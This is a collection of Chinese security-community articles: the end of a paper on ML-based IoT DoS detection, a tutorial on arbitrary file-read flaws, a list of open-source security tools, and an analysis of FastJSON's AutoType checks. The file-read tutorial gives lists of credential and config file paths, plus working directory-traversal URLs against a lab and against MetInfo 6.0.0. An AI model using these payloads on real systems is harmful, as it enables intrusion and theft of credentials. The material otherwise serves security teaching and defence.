* 特征提取：基于物联网设备行为的领域知识，为每个数据包生成无状态特征和有状态特征。无状态功能主要是数据包报头字段，而有状态功能是非常短的时间跨度中的聚合流量信息，仅占用低内存以支持路由器部署。（详见第4节-B部分）。
* 二分类：K近邻、随机森林、决策树、支持向量机和深度神经网络可以高准确度地区分正常流量和DoS攻击流量（详见第5节A部分）。
## 1 流量采集
我们建立了一个实验性的物联网设备网络环境来收集现实中正常流量和恶意流量（图b）。我们将Raspberry Pi
v3配置为WiFi接入点充当中间件，然后将YI Home Camera [17]和Belkin WeMo Smart Switch
[18]连接到Raspberry Pi的WiFi网络中，将Withings血压监测器通过蓝牙连接到与WiFi网络相关的Android智能手机上[19]。
为了收集正常流量，我们与这3个物联网设备进行了10分钟的交互并截取了pcap文件，由此记录该时间段内发送的所有数据包。我们执行了许多在常规设备使用过程中会发生的交互，包括在HD和RD模式下从YI摄像机到服务器的视频流、打开/关闭WeMo智能开关和安装固件更新、从Withing血压器采集血压测量值并将测量结果发送到云服务器进行存储。最后，我们删除了pcap中所有非IoT流量，例如Android手机的后台流量。
收集DoS流量则更具挑战性。为了避免运行真实Mirai代码的安全风险，我们模拟了Mirai感染设备的三种常见DoS攻击类别：TCP SYN
Flood、UDP Flood和HTTP GET Flood[5]。 我们使用运行在笔记本电脑上的Kali
Linux虚拟机作为DoS源，以及运行Apache Web服务器的Raspberry Pi
2作为DoS受害者，并通过WiFi将两台设备连接到我们的Raspberry Pi
3热点。然后，DoS攻击源对受害者的IP地址分别发起持续约1.5分钟的各类DoS攻击。Raspberry Pi 3使用Linux
dumpcap工具记录了攻击流量的pcap文件。其中，HTTP GET Flood使用Goldeneye工具[20]进行模拟，TCP SYN
Flood和UDP Flood使用Kali Linux的hping3进行模拟[21]。
然后，我们混合DoS流量与正常流量，修改源IP地址、MAC地址和数据包发送时间，使其看起来是物联网设备同时产生正常流量和DoS攻击流量。每个物联网设备将分别进行一种攻击，攻击发生在一个随机的时间范围内（90-110秒），并彼此独立。最后，我们收集每台设备约300秒（5分钟）的攻击流量。
上述的流程将在491855个数据包中进行，其中包括459565个恶意数据包和32290个正常数据包。
## 2 特征工程
我们通过研究两类特征并分析它们与区分正常和攻击流量的相关性。无状态特征可以从各个数据包的无关特性中推导出来，生成这些特征时不会依赖IP源的通信流，因此这些特征的提取是最轻量级的。有状态特征则反应了一定时间跨度内的网络流量，在生成这些功能时需要较大开销。我们按照设备将网络流量分成流并划分为固定的时间跨度。时间跨度内的网络行为将用一个时间序列来表示。这些特征需要在一个时间跨度内汇总多个数据包的统计数据，执行分类的网络中间件（如路由器）必须存储时间跨度内的状态，我们可以通过使用较短的（例如10秒）时间跨度来限制内存开销。
### 2.1 无状态特征
* 数据包大小：在攻击和正常流量之间数据包大小存在显着不同（图a）。超过90％的攻击数据包都在100字节以内，而正常数据包通常在100至1,200字节之间变化。进行DoS攻击的设备（如TCP SYN Flood）试图尽可能多地向受害者发送连接请求，以便耗尽受害服务器的资源。因此，攻击者需要使数据包尽可能小，以实现连接请求数量最大化。相比之下，正常流量可以从服务器远程指示（小数据包）到视频流数据（大数据包）。
* 数据包间隔：正常的物联网流量突发性有限（图b，图c，图d），物联网网络或其他自动化网络活动，大多数数据包以固定的时间间隔发送给服务器。相反，绝大多数DoS攻击流量发送时间间隔（ΔT）接近于零，而时间间隔（ΔT）的一阶和二阶导数都非常高。使用ΔT以及ΔT一阶和二阶导数作为特征能够帮助分类算法找到正常流量和DoS流量之间的差异
* 通信协议：正常和DoS攻击流量的协议分布也存在差异（图e，图f）。由于采用了UDP传输视频，在正常流量中UDP数据包比TCP数据包高出近三倍，相比之下，攻击流量中的TCP数据包和UDP数据包数量几乎相同。除此之外，攻击流量中的协议类型更为单一。我们通过三种最流行的攻击协议（IS_TCP，IS_UDP和IS_HTTP）的one-hot编码记录协议差异，另一个二进制值表示其他类型的协议（IS_OTHER）。这样既能采集主流的协议，同时降低不太相关协议产生的噪声。
### 2.2 有状态特征
* 带宽：一些文献指出，可以使用带宽来描述物联网设备的网络流量模式。例如，Apthorpe等人根据发送/接收速率描述了家用物联网设备的网络流量特征[7]。因此，我们基于不同的源设备分割网络流量，并在10秒时间跨度内计算平均带宽，以测量每个设备的瞬时带宽。 正常流量和攻击流量之间带宽利用率的差异较小（图g）。我们预测ML模型将能够利用这些差异。
* 目标IP地址数目和差异性：物联网设备的特征是它们通信的服务器数量有限[7]。 例如，WeMo智能交换机仅与四个远程主机进行通信，用于从云端进行激活/停用、检索固件更新以及记录其状态。物联网设备流量的另一个关键特征是目标IP地址集很少随时间变化。
* 我们生成了上述2个特征来反映具有时间跨度的网络行为。首先，在10秒时间跨度内计算不同的目标IP地址。然后，我们计算时间跨度内不同目标IP地址数量的变化，过多的新IP可能表明设备正在进行攻击。图h表明了这两个特征的重要性。 攻击流量平均与更多的IP进行通信，这种分布差异可以用于区分正常流量和攻击流量。
# 0x05 实验结果
## 1 分类算法
我们测试了5种机器学习算法，以区分正常数据包和DoS攻击数据包：
1. K近邻算法（KN）
2. 线性核的支持向量机（LSVM）
3. 基于基尼不纯度的决策树（DT）
4. 基于基尼不纯度的随机森林（RF）
5. 全连接神经网络（NN）
我们使用Scikit-learn
Python库[22]实现了前4个机器学习模型，使用Keras库[23]实现的神经网络模型。除非另有说明，否则所有超参数都是默认值。
我们基于训练集训练了模型，其中85％是正常流量，15%是DoS流量，并在测试集上计算分类准确率（表I）。我们四个分类模型的精度从0.91到0.99。由于DoS攻击的Flood特性，攻击数据包的数量几乎是正常数据包的15倍。
因此，一个基线预测算法在全恶意数据包数据集的精度大约为0.93。
线性SVM模型的精度最低，这表明数据并非线性可分的。而决策树模型表现良好，达到0.99的准确度，这表明数据可以在更高维度的特征空间中分割。K最近邻算法也达到了同样的准确性，这表明两个不同的数据类型能够在特征空间中很好地聚类。尽管从10分钟的数据包捕获中仅获得了约50万条样本，但神经网络的表现仍然令人惊讶。鉴于该算法的性质，神经网络可能根据可用的训练数据量来调整其性能。
## 2 特征重要性
正如基尼不纯度所表明的那样，无状态的特征的重要程度大大超过了有状态特征（表2）。
这是因为正常和攻击流量无状态特征的差异相比有状态特征更明显（图a-h）。这个结果表明，IoT攻击流量的实时异常检测是可行的，因为进行无状态特征采集不需要大量内存开销，可以直接从网络流属性（例如五元组和包大小）中导出。
与仅使用无状态特征的分类相比，结合有状态特征进一步提高了准确性（表3）。利用有状态特征，模型的F1均增加0.01至0.05。这表明将关于物联网设备网络行为的领域知识应用于特征工程可以增强DoS检测性能。
# 0x06 结论与展望
这项工作初步表明，简单的分类算法和低维特征就可以有效区分正常物联网设备流量和DoS攻击流量。这个结果促使了后续的研究，以评估更真实的网络环境下物联网DoS检测。
首先，我们希望将本研究的结果应用在其他物联网设备的正常流量以及实际DDoS攻击记录的攻击流量中。这可能包括使用发布的代码在受保护的实验室网络上创建物联网设备僵尸网络，或与ISP合作获取在DDoS攻击期间记录的NetFlow记录或数据包捕获。这将是评估该方法外部性能的重要测试。
收集更大的数据集还可以让我们研究DoS流量的检测精度如何受到IoT流量的数量和多样性的影响。物联网设备的网络行为因设备类型而异[7]，我们很好奇某些设备是否会因为它们的正常流量更具规律，而更适合网络异常检测，反之亦然。
除了本文讨论的内容之外，我们还想尝试其他特征以及更复杂的机器学习算法。我们认为，在物联网网络中应用深度学习进行异常检测具有巨大的潜力，特别是用于检测比DoS
Flood更复杂的攻击。我们希望这项工作能够进一步促使研究人员开发专门为物联网设备设计的网络保护技术。
如何最好地干预已经沦陷的物联网设备也是一个值得探讨的问题。许多智能设备在没有网络连接的情况下不保留基本功能[24]，因此简单地将设备从网络上隔离可能是不切实际的，尤其是在该设备是必不可少的情况下（例如血糖监测器或家用水泵）。
通知用户是一种选择，但家用物联网设备的许多用户并不知道如何进行维护。
[1] (2016) Unlocking the potential of the internet of things. McKinsey &
Company. [Online]. Available: <http://www.mckinsey.com/business-functions/digital-mckinsey/our-insights/the-internet-of-things-the-value-of-digitizing-the-physical-world>
[2] (2015) Internet of things research study. Hewlett Packard Enterprise.
[Online]. Available: <http://h20195.www2.hpe.com/V4/getpdf.aspx/4aa5-4759enw>
[3] (2016) Internet of things (iot) security and privacy recommendations.
BITAG. [Online]. Available: <https://www.bitag.org/report-internet-of-things-security-privacy-recommendations.php>
[4] S. Hilton. (2016) Dyn analysis summary of friday october 21 attack. Dyn.
[Online]. Available: <https://dyn.com/blog/dyn-analysis-summary-of-friday-october-21-attack/>
[5] (2016) Threat advisory: Mirai botnet. Akamai. [Online]. Available:
<https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/akamai-mirai-botnet-threat-advisory.pdf>
[6] V. Chandola, A. Banerjee, and V. Kumar, “Anomaly detection: A survey,” ACM
computing surveys (CSUR), vol. 41.3: 15, 2009.
[7] N. Apthorpe, D. Reisman, and N. Feamster, “A smart home is no castle:
Privacy vulnerabilities of encrypted iot traffic,” 2016.
[8] L. Ertoz, E. Eilertson, A. Lazarevic, P.-N. Tan, V. Kumar, J. Srivastava,
and P. Dokas, “Minds minnesota intrusion detection system,” In Data Mining:
Next Generation Challenges and Future Directions, 2004.
[9] E. Eskin, W. Lee, and W. Stolfo, “Modeling system call for intrusion
detection using dynamic window sizes,” 2001.
[10] M. Qin and K. Hwang, “Frequent episode rules for internet anomaly
detection,” 2004.
[11] D. Barbard, J. Couto, S. Jajodia, and N. Wu, “Adam: A testbed for
exploring the use of data mining in intrusion detection,” SIGMOD, vol. 30:4,
2001.
[12] J. Bigham, D. Gamez, and N. Lu, “Safeguarding scada systems with anomaly
detection,” in Computer Network Security, V. Gorodetsky, L. Popyack, and V.
Skormin, Eds. Berlin, Heidelberg: Springer Berlin Heidelberg, 2003, pp.
171–182.
[13] S. N. Shirazi, A. Gouglidis, K. N. Syeda, S. Simpson, A. Mauthe, I. M.
Stephanakis, and D. Hutchison, “Evaluation of anomaly detection techniques for
scada communication resilience,” in 2016 Resilience Week (RWS), Aug 2016, pp.
140–145.
[14] M. Miettinen, S. Marchal, I. Hafeez, N. Asokan, A. Sadeghi, and S.
Tarkoma, “Iot sentinel: Automated device-type identification for security
enforcement in iot,” CoRR, vol. abs/1611.04880, 2016. [Online]. Available:
<http://arxiv.org/abs/1611.04880>
[15] A. Sivanathan, D. Sherratt, H. H. Gharakheili, and A. V. Vijay Sivaraman,
“Low-cost flow-based security solutions for smart-home iot devices,” 2016.
[16] S. Hao, N. A. Syed, N. Feamster, A. G. Gray, and S. Krasser, “Detecting
spammers with snare: Spatio-temporal networklevel automatic reputation
engine,” USENIX security symposium, vol. 9, 2000.
[17] (2017) Yi home camera. [Online]. Available:
<https://www.yitechnology.com/yi-home-camera>
[18] (2017) Wemo insight smart plug. [Online]. Available:
<http://www.belkin.com/us/F7C029-Belkin/p/P-F7C029/>
[19] (2017) Wireless blood pressure monitor. [Online]. Available:
<https://health.nokia.com/us/en/blood-pressure-monitor>
[20] (2017) Goldeneye code repository. [Online]. Available:
<https://github.com/jseidl/GoldenEye>
[21] (2017) hping3 package description. [Online]. Available:
<http://tools.kali.org/information-gathering/hping3>
[22] (2017) Scikit learn: Machine learning in python. [Online]. Available:
<http://scikit-learn.org/stable/>
[23] F. Chollet et al., “Keras,” <https://github.com/fchollet/keras>, 2015.
[24] N. Apthorpe, D. Reisman, and N. Feamster, “Closing the blinds: Four
strategies for protecting smart home privacy from network observers,” Workshop
on Technology and Consumer
Protection (ConPro), 2017. | 社区文章 |
本文由红日安全成员： Once 编写，如有不当，还望斧正。
大家好，我们是 **红日安全-Web安全攻防小组** 。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
[**Web安全实战**](https://github.com/hongriSec/Web-Security-Attack)
，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请
**Star** 鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（[email protected]）联系我们。
## 1.1 任意文件读取下载漏洞简介
一些网站由于业务需求，可能提供文件查看或下载功能。如果对用户查看或下载的文件不做限制，则恶意用户能够查看或下载任意文件，可以是源代码文件、敏感文件等。
## 1.2 任意文件读取下载漏洞危害
攻击者可以读取下载服务器中的配置文件、敏感文件等，会提供攻击者更多可用信息，提高被入侵的风险。
## 1.3 任意文件读取下载漏洞利用条件
1. 存在读文件的函数
2. 读取文件的路径用户可控且未校验或校验不严
3. 输出了文件内容
4. 任意文件读取下载漏洞测试
## 2.1测试思路
5. 寻找读取或下载文件的功能点，跳跃目录获取敏感文件
6. 有的限制目录不严格，只对部分目录限制，可以尝试用其他敏感文件路径，常见敏感文件路径如下：
Windows：
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux：
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
## 2.2 靶机测试
这里我们使用web for pentester进行测试
### 2.2.1 安装步骤
下载地址：<https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso>
我们只需要VMware安装镜像文件即可使用
新建虚拟机
默认下一步
选择镜像文件
设置虚拟机名称和存放位置
磁盘大小默认即可
开启此虚拟机
查看ip地址
搭建成功，这里用Directory traversal做演示
### 2.2.2 Example 1
从代码里看出未作限制，直接读取文件
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file;
if (!is_file($path))
die();
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
$handle = fopen($path, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
使用../来跳跃目录读取敏感文件，我们这里读取passwd文件
<http://192.168.163.141/dirtrav/example1.php?file=../../../etc/passwd>
### 2.2.3 Example 2
从代码里可以看出，路径必须存在/var/www/files/
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
die();
if (!is_file($file))
die();
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));
$handle = fopen($file, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
<http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd>
### 2.2.4 Example 3
从代码可以看出过滤空字符及以后的字符。
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);
if (!is_file($path))
die();
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
$handle = fopen($path, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
<http://192.168.163.141/dirtrav/example3.php?file=../../../etc/passwd%00>
## 2.3 CMS实战演练
这里选的是MetInfo cms进行任意文件读取漏洞演示
### 2.3.1 安装步骤
下载地址：<https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip>
漏洞环境：phpstudy、windows
存在漏洞：任意文件读取
解压好后，下一步下一步的安装，配置数据库、管理员信息。
安装完成
### 2.3.2 利用过程
漏洞点在：MetInfo6.0.0/include/thumb.php?dir=
漏洞代码文件位置：MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有两次过滤，第一次把路径中../、./进行过滤，第二次路径中需要有http和不能存在./，
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
在windows环境下可以使用..\进行绕过
<http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php>
#
1. 漏洞修复方案
1、对./、../、、..\%进行过滤
2、严格控制可读取或下载的文件路径
1. 参考文章
<https://www.jianshu.com/p/f4b06f59c4cb>
<https://www.freebuf.com/vuls/181698.html> | 社区文章 |
**作者：知道创宇404实验室
时间：2020年11月20日**
The 404 Starlink Project was started by Knownsec 404Team in 2020. We aim to
denfend network and promote the Instrumentalizing of security research in
different fields through open source or open methods. Just like Starlink, this
project will link researchers with different security background.
Not only large tools which break security barriers，various small tools that
optimizing the daily experience are included. We will open all tools developed
by 404 Team, and continue to collect pain points in the process of security
research and penetration testing. The security field used to have various
problems, like tools jumbled, different levels obvious, and open source be
unmaintained. Through the 404 Starlink Project, we wish security field would
become a better place where people like to communicate and progress together.
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
2020年11月，知道创宇404实验室正式推出[星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)。通过星链计划核心社群成员作为核心，筛选
**优质、有意义、有趣、坚持维护**
的开源项目加入星链计划2.0，由404实验室核心成员及星链计划核心成员作为背书，将优质的开源项目汇聚成星河，为立足于不同安全领域的安全研究人员指明方向。代号
**Galaxy** 。
* [404 StarLink2.0 Galaxy](https://github.com/knownsec/404StarLink2.0-Galaxy)
同时，真正优质的开源项目将会优先推荐KCON 2021兵器谱，在KCON
2021上获得专属的曝光机会。404实验室也会为优秀的个人开源维护者提供知道创宇的优先内推绿色通道，星链计划的核心成员群也会不定期送出礼品。
星链计划2.0会将开源项目按照两个核心项分类：
* 成熟、有意义的开源项目 Open-Projects
* 有新意、解决痛点的开源项目 Fun-tools
入选星链计划2.0的项目至少需要满足以下四个要求：
* 安全相关的各个环节以及链路
* 开源
* 坚持维护
* 通过由404实验室以及星链计划核心成员组成的审阅组审阅
入选项目将由代码质量、技术难度、新颖度等多个维度评价打分(满分5星)，是否坚持维护将作为最重要的评价标准。超过1年未更新的开源项目不会入选任何一个分类项目，超过6个月未更新的开源项目只能入选Fun-tools分类，且只能获得上限为3星的评价，超过3个月未更新的开源项目只能获得上限为4星的评价。
参与星链计划2.0的开源项目可以借由星链计划社群与开发者直接沟通，真正将研究人员和开发人员连在一起。
希望星链计划2.0能像北斗七星一样，引领安全研究人员前进的方向。
# Rules
* Positivity: 积极度，3个月内存在更新的将被标记为In，3-6个月内存在更新将被标记为TBD，6个月-1年存在更新的被标记为OUT.
* Score: Open-Projects的评分上限为5星，Fun-tools的评分上限为4星.
# Contents
* Open-Projects
* antSword
* 中国蚁剑是一款开源的跨平台网站管理工具.一个所有安全从业者都不应该错过的开源项目。
* kunpeng
* Kunpeng是一个Golang编写的开源POC检测框架。
* myscan
* myscan由python3开发而成的被动扫描工具。
* Fun-tools
* java-object-searcher
* java内存对象搜索辅助工具，配合IDEA在Java应用运行时，对内存中的对象进行搜索。比如可以可以用挖掘request对象用于回显等场景。
* Juggler
* 一个也许能骗到黑客的系统。可以作为WAF等防护体系的一环。
* [Redis Rogue Server](https://github.com/Dliv3/redis-rogue-server)
* Redis 4.x/Redis 5.x RCE利用脚本.
# Details
# Open-Projects
这个分类下主要包含成熟、有意义的开源项目。
## [antSword](https://github.com/AntSwordProject/antSword)
##### 项目链接：
<https://github.com/AntSwordProject/antSword>
##### 项目简述：
中国蚁剑是一款开源的跨平台网站管理工具.
##### 推荐评语：
一个真正的安全从业人员，那他一定不应该错过蚁剑。一个成熟、稳定的开源项目。
## [Kunpeng](https://github.com/opensec-cn/kunpeng)
##### 项目链接：
<https://github.com/opensec-cn/kunpeng>
##### 项目简述：
Kunpeng是一个Golang编写的开源POC检测框架，集成了包括数据库、中间件、web组件、cms等等的漏洞POC（[查看已收录POC列表](https://github.com/opensec-cn/kunpeng/blob/master/doc/plugin.md)），可检测弱口令、SQL注入、XSS、RCE等漏洞类型，以动态链接库的形式提供调用，通过此项目可快速开发漏洞检测类的系统，比攻击者快一步发现风险漏洞。
##### 推荐评语：
基于Golang开发的检测框架在使用过程中有着显而易见的优势，有经验的开发维护更是将这一点发挥到极致。
## [myscan](https://github.com/amcai/myscan)
##### 项目链接：
<https://github.com/amcai/myscan>
##### 项目简述：
myscan是参考awvs的poc目录架构，pocsuite3、sqlmap等代码框架，以及搜集互联网上大量的poc，由python3开发而成的被动扫描工具。
##### 推荐评语：
被动扫描器+不断更新收集的poc+burp插件是很不错的渗透测试使用场景，不错的代码质量也是作为开源项目的保障。
# Fun-tools
这个分类下主要包含新意、解决痛点的开源项目
## [java-object-searcher](https://github.com/c0ny1/java-object-searcher)
##### 项目链接：
<https://github.com/c0ny1/java-object-searcher>
##### 项目简述：
java内存对象搜索辅助工具，配合IDEA在Java应用运行时，对内存中的对象进行搜索。比如可以可以用挖掘request对象用于回显等场景。
##### 推荐评语：
当你知道某个或某种类型对象存在于内存并且你刚好需要它时，却往往因为它隐藏得太深而放弃寻找，这款可能帮助你从成千上万对象构成的森林中解脱。
## [Juggler](https://github.com/C4o/Juggler)
##### 项目链接：
<https://github.com/C4o/Juggler>
##### 项目简述：
一个也许能骗到黑客的系统。可以作为WAF等防护体系的一环。
##### 推荐评语：
该项目利用了渗透测试从业者在渗透测试中的惯性思维反影响攻击者，从而大幅度的影响了攻击者的渗透思路。可惜的是，该项目本身强依赖基础WAF，单靠Juggler很难提升防护本身的能力。
## [Redis Rogue Server](https://github.com/Dliv3/redis-rogue-server)
##### 项目链接：
<https://github.com/Dliv3/redis-rogue-server>
##### 项目简述：
Redis 4.x/Redis 5.x RCE利用脚本. 项目最初来源于<https://github.com/n0b0dyCN/redis-rogue-server>
##### 推荐评语：
基于主从复制的Redis
getshell方式出现之后，各种利用脚本也不断被开源出来，这个脚本是完善程度最高的。不但适配了5.0.8，且实现了主动连接模式和被动链接模式，非常实用。
# Community
如果有问题可以在各项目下提交issue，如果有不错的工具推荐，可以向github提交issue, 也可以添加下方的讨论组中参与讨论。
1、Github issue: <https://github.com/knownsec/404StarLink2.0-Galaxy/issues>
2、微信群：
微信群有两种添加方式：
(1) 联系Seebug的各位小伙伴拉你入群
(2)微信群添加方式： 扫描下方二维码添加工作人员个人微信，并备注星链计划，会把大家拉到星链计划交流群中
* * * | 社区文章 |
## 文章前言
本篇文章主要对FastJSON
AutoType的校验原理，以及绕过方式进行简单的分析介绍，跟多的是学习记录，文章涉及的绕过方式都是"站在巨人的肩膀上"看风景的，很后悔当初去看了Jackson-databind而丢弃了fastJSON，哎....，悔不当初呀~
## 校验原理
FastJSON中的checkAutoType()函数用于对反序列化的类进行黑白名单校验，我们首先来看一下checkAutoType()函数的检查流程：
代码位置：fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java
checkAutoType函数默认需要传递三个参数：
String typeName：被序列化的类名
Class<?> expectClass：期望类()
int features：配置的feature值
这里的expectClass(期望类)的目的是为了让一些实现了expectClass这个接口的类可以被反序列化，可以看到这里首先校验了typeName是否为空、autoTypeCheckHandlers是否为null，之后检查safeMode模式是否开启(在1.2.68中首次出现，配置safeMode后，无论白名单和黑名单都不支持autoType)、typeName的长度来决定是否开启AutoType：
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
然后判断期望类expectClass，从下面可以看到这里的Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection都不能作为期望类：
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
之后从typeName中解析出className，然后计算hash进行内部白名单、黑名单匹配，之后如果不在白名单内且未开启AutoType或者expectClassFlag为true则进行hash校验——白名单acceptHashCodes、黑名单denyHashCodes，如果在白名单内就加载，在黑名单中就抛出异常：
String className = typeName.replace('$', '.');
Class<?> clazz;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
白名单列表如下：
INTERNAL_WHITELIST_HASHCODES = new long[] {
0x82E8E13016B73F9EL,
0x863D2DD1E82B9ED9L,
0x8B2081CB3A50BD44L,
0x90003416F28ACD89L,
0x92F252C398C02946L,
0x9E404E583F254FD4L,
0x9F2E20FB6049A371L,
0xA8AAA929446FFCE4L,
0xAB9B8D073948CA9DL,
0xAFCB539973CEA3F7L,
0xB5114C70135C4538L,
0xC0FE32B8DC897DE9L,
0xC59AA84D9A94C640L,
0xC92D8F9129AF339BL,
0xCC720543DC5E7090L,
0xD0E71A6E155603C1L,
0xD11D2A941337A7BCL,
0xDB7BFFC197369352L,
0xDC9583F0087CC2C7L,
0xDDAAA11FECA77B5EL,
0xE08EE874A26F5EAFL,
0xE794F5F7DCD3AC85L,
0xEB7D4786C473368DL,
0xF4AA683928027CDAL,
0xF8C7EF9B13231FB6L,
0xD45D6F8C9017FAL,
0x6B949CE6C2FE009L,
0x76566C052E83815L,
0x9DF9341F0C76702L,
0xB81BA299273D4E6L,
0xD4788669A13AE74L,
0x111D12921C5466DAL,
0x178B0E2DC3AE9FE5L,
0x19DCAF4ADC37D6D4L,
0x1F10A70EE4065963L,
0x21082DFBF63FBCC1L,
0x24AE2D07FB5D7497L,
0x26C5D923AF21E2E1L,
0x34CC8E52316FA0CBL,
0x3F64BC3933A6A2DFL,
0x42646E60EC7E5189L,
0x44D57A1B1EF53451L,
0x4A39C6C7ACB6AA18L,
0x4BB3C59964A2FC50L,
0x4F0C3688E8A18F9FL,
0x5449EC9B0280B9EFL,
0x54DC66A59269BAE1L,
0x552D9FB02FFC9DEFL,
0x557F642131553498L,
0x604D6657082C1EE9L,
0x61D10AF54471E5DEL,
0x64DC636F343516DCL,
0x73A0BE903F2BCBF4L,
0x73FBA1E41C4C3553L,
0x7B606F16A261E1E6L,
0x7F36112F218143B6L,
0x7FE2B8E675DA0CEFL
};
黑名单列表：
denyHashCodes = new long[]{
0x80D0C70BCC2FEA02L,
0x86FC2BF9BEAF7AEFL,
0x87F52A1B07EA33A6L,
0x8EADD40CB2A94443L,
0x8F75F9FA0DF03F80L,
0x9172A53F157930AFL,
0x92122D710E364FB8L,
0x941866E73BEFF4C9L,
0x94305C26580F73C5L,
0x9437792831DF7D3FL,
0xA123A62F93178B20L,
0xA85882CE1044C450L,
0xAA3DAFFDB10C4937L,
0xAC6262F52C98AA39L,
0xAD937A449831E8A0L,
0xAE50DA1FAD60A096L,
0xAFFF4C95B99A334DL,
